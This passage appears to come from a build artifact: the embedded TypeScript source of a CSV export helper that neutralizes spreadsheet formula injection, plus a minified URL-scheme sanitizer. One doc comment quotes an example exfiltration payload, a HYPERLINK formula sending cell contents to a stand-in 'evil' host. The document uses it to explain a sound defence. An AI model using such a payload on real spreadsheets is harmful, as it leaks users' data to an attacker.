BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n /** Property of the row this column reads from. Doubles as the column key. */\n key: keyof T;\n /** Column heading, written to the first line. */\n header: string;\n /**\n * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n * empty field.\n *\n * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n * a text file — a badge or a link would serialize as `[object Object]`. Give\n * the column this accessor and the export says what the badge said.\n */\n csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n /**\n * Field separator. Default `\",\"`.\n *\n * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n * which is every pt-BR install — otherwise it opens the file in one column.\n */\n delimiter?: \",\" | \";\";\n /** Prefix the output with a UTF-8 BOM. Default `true`. */\n bom?: boolean;\n /**\n * Prefix `'` to every text field that a spreadsheet would read as a formula.\n * Default `true`.\n *\n * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the\n * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only\n * `=`), and opening the file evaluates it: a name typed\n * as `=HYPERLINK(\"https://evil/?d=\"&A1,\"ver\")` turns into a link that exfiltrates\n * other cells (OWASP \"CSV Injection\"). Measured on LibreOffice 26.2: `=1+2` was\n * imported as the formula `of:=1+2` with value `3`. The default is the safe one\n * because the BOM and the `;` delimiter already aim the file at a spreadsheet,\n * and because the app that exports rarely controls every value in it.\n *\n * Numbers are never prefixed: a `number` cell, or a text field that is only a\n * number (`\"-5\"`, `\"-1.234,56\"`, `\"+42\"`, `\"1e-7\"`), cannot be a formula, and\n * neither can a lone `\"-\"`, which is left alone too. Pass\n * `false` when the file feeds another system's importer rather than a person's\n * spreadsheet, so the bytes round-trip unchanged.\n */\n neutralizeFormulas?: boolean;\n}\n\n/** First characters that make a spreadsheet read a field as a formula (OWASP). */\nconst FORMULA_TRIGGER = /^[=+\\-@\\t\\r]/;\n\n/**\n * A text field that is only a number, in either decimal convention.\n *\n * These start with `-` or `+` but cannot be formulas, and prefixing them would\n * turn every negative amount in a report into text.\n */\nconst PLAIN_NUMBER = /^[+-]?(?:\\d+(?:[.,]\\d+)*|\\d*[.,]\\d+)(?:e[+-]?\\d+)?$/i;\n\n/**\n * Neutralize a text field a spreadsheet would evaluate.\n *\n * Two shapes are exempt from the OWASP trigger list: a plain number (see\n * {@link PLAIN_NUMBER}) and a lone `-`, the usual \"no value\" placeholder in a\n * report. A lone operator has no operand, so no spreadsheet can evaluate it, and\n * prefixing it printed `'-` in LibreOffice 26.2 where `-` read as text.\n *\n * Measured on LibreOffice 26.2 headless (`--infilter=\"CSV:59,34,76,1\"`) without\n * the prefix: `=1+2` was a formula; `+55 (11) 99999-9999`, `@maria`, a TAB before\n * `=`, a space before `=` and a quoted newline before `=` all stayed text. The\n * list is kept whole anyway — Excel and Google Sheets read `+`, `-`, `@` and TAB\n * as formula starts, and that is what OWASP's list is for. A space or newline\n * before `=` is not added: it read as text, not as a formula.\n *\n * @param value - The already-stringified field.\n * @returns The field with a leading `'` when it would read as a formula.\n */\nfunction neutralizeFormula(value: string): string {\n if (value === \"-\" || PLAIN_NUMBER.test(value)) return value;\n return FORMULA_TRIGGER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. Fields that need\n * none of this are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string): string {\n const mustQuote =\n value.includes(delimiter) ||\n value.includes('\"') ||\n value.includes(\"\\n\") ||\n value.includes(\"\\r\");\n if (!mustQuote) return value;\n return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * Text — a string, or anything else stringified — goes through the formula\n * neutralization when it is on; numbers, bigints and booleans never do, since none\n * of them can stringify to a formula.\n *\n * @param value - The raw cell value.\n * @param neutralize - Whether to neutralize a formula-looking text field.\n * @returns The text to write.\n */\nfunction cellText(value: unknown, neutralize: boolean): string {\n if (value === null || value === undefined) return \"\";\n if (typeof value === \"number\" || typeof value === \"bigint\" || typeof value === \"boolean\") {\n return String(value);\n }\n if (value instanceof Date) return value.toISOString();\n return neutralize ? neutralizeFormula(String(value)) : String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. Text that a spreadsheet would evaluate as a formula is written\n * with a leading `'` unless `neutralizeFormulas` is `false` (see\n * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n * { key: \"name\", header: \"Nome\" },\n * { key: \"email\", header: \"E-mail\" },\n * { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter, BOM and formula neutralization.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n options: CsvOptions = {},\n): string {\n const { delimiter = \",\", bom = true, neutralizeFormulas = true } = options;\n\n const lines = [\n columns\n .map((column) => escapeField(cellText(column.header, neutralizeFormulas), delimiter))\n .join(delimiter),\n ];\n\n for (const row of rows) {\n const cells = columns.map((column) => {\n const raw = column.csv\n ? column.csv(row)\n : (row as Record<string, unknown>)[column.key as string];\n return escapeField(cellText(raw, neutralizeFormulas), delimiter);\n });\n lines.push(cells.join(delimiter));\n }\n\n return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter, BOM and formula neutralization, forwarded to\n * {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n fileName = \"export.csv\",\n options: CsvOptions = {},\n): Promise<void> {\n const blob = new Blob([toCsv(rows, columns, options)], {\n type: \"text/csv;charset=utf-8\",\n });\n await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":";;AAqBA,IAAM,IAAM,KAqDN,IAAkB,gBAQlB,IAAe;AAoBrB,SAAS,EAAkB,GAAuB;CAE9C,OADI,MAAU,OAAO,EAAa,KAAK,CAAK,IAAU,IAC/C,EAAgB,KAAK,CAAK,IAAI,IAAI,MAAU;AACvD;AAaA,SAAS,EAAY,GAAe,GAA2B;CAO3D,OALI,EAAM,SAAS,CAAS,KACxB,EAAM,SAAS,IAAG,KAClB,EAAM,SAAS,IAAI,KACnB,EAAM,SAAS,IAAI,IAEhB,IAAI,EAAM,WAAW,MAAK,MAAI,EAAE,KADhB;AAE3B;AAiBA,SAAS,EAAS,GAAgB,GAA6B;CAM3D,OALI,KAAU,OAAoC,KAC9C,OAAO,KAAU,YAAY,OAAO,KAAU,YAAY,OAAO,KAAU,YACpE,OAAO,CAAK,IAEnB,aAAiB,OAAa,EAAM,YAAY,IAC7C,IAAa,EAAkB,OAAO,CAAK,CAAC,IAAI,OAAO,CAAK;AACvE;AAwBA,SAAgB,EACZ,GACA,GACA,IAAsB,CAAC,GACjB;CACN,IAAM,EAAE,eAAY,KAAK,SAAM,IAAM,wBAAqB,OAAS,GAE7D,IAAQ,CACV,EACK,KAAK,MAAW,EAAY,EAAS,EAAO,QAAQ,CAAkB,GAAG,CAAS,CAAC,CAAC,CACpF,KAAK,CAAS,CACvB;CAEA,KAAK,IAAM,KAAO,GAAM;EACpB,IAAM,IAAQ,EAAQ,KAAK,MAIhB,EAAY,EAHP,EAAO,MACb,EAAO,IAAI,CAAG,IACb,EAAgC,EAAO,MACb,CAAkB,GAAG,CAAS,CAClE;EACD,EAAM,KAAK,EAAM,KAAK,CAAS,CAAC;CACpC;CAEA,OAAO,GAAG,IAAM,IAAM,KAAK,EAAM,KAAK,MAAM;AAChD;AAoBA,eAAsB,EAClB,GACA,GACA,IAAW,cACX,IAAsB,CAAC,GACV;CACb,IAAM,IAAO,IAAI,KAAK,CAAC,EAAM,GAAM,GAAS,CAAO,CAAC,GAAG,EACnD,MAAM,yBACV,CAAC;CACD,MAAM,EAAoB,GAAM,CAAQ;AAC5C"}
@@ -0,0 +1,2 @@
1
+ var e=new Set([`http:`,`https:`,`mailto:`,`tel:`,`sms:`]),t=new Set([`http:`,`https:`,`blob:`]),n=/^data:image\/(png|jpe?g|gif|webp|avif|bmp);base64,[a-z0-9+/=\s]+$/i;function r(e){return e.replace(/[\u0000-\u0020\u007F]/g,``).trim()}function i(e){return/^[a-z][a-z0-9+.-]*:/i.test(e)?e.slice(0,e.indexOf(`:`)+1).toLowerCase():null}function a(t){let n=r(t);if(!n)return null;let a=i(n);return a===null||e.has(a)?n:null}function o(e){let t=r(e);return t?n.test(t)?t:/^data:/i.test(t)?null:a(t):null}function s(e){let a=r(e);if(!a)return null;if(n.test(a))return e;let o=i(a);return o===null||t.has(o)?e:null}exports.safeAttachmentUrl=s,exports.safeImageUrl=o,exports.safeLinkUrl=a;
2
+ //# sourceMappingURL=safe-url.cjs.map